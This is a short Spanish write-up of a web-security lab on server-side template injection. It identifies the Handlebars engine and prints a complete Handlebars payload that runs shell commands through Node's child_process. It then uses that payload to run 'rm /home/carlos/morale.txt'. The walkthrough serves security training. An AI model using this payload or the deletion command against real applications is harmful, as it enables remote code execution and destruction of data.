
Descripción
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt
file from Carlos’s home directory.
Server-side template injection in an unknown language with a documented exploit writeup
Al intentar ver más detalles del primer producto saldrá un mensaje:

Nota: Esto sólo ocurre con el primer producto.
Si modificamos la URL, podremos cambiar el mensaje, inyectando el contenido que queramos en la página. Probaremos a insertar ‘{{}}’, que es común en varias plantillas.
Nota: También podemos usar el ‘Intruder’ y una lista de posibles payloads.
Al hacerlo nos devolverá un error:

Ahora sabemos que el sistema de plantillas es ‘handlebars’, por lo que buscaremos su payload.
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('comando');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Esta vez, para enviar el payload, tendremos que seleccionarlo y darle Click derecho -> Convert selection -> ULR -> URL encode all characters. Tampoco podremos ver el resultado del comando, pero por eso nos han dado en la descripción la ruta del archivo completa (dentro del directorio carlos).
rm /home/carlos/morale.txt

Al enviarlo completaremos el laboratorio:
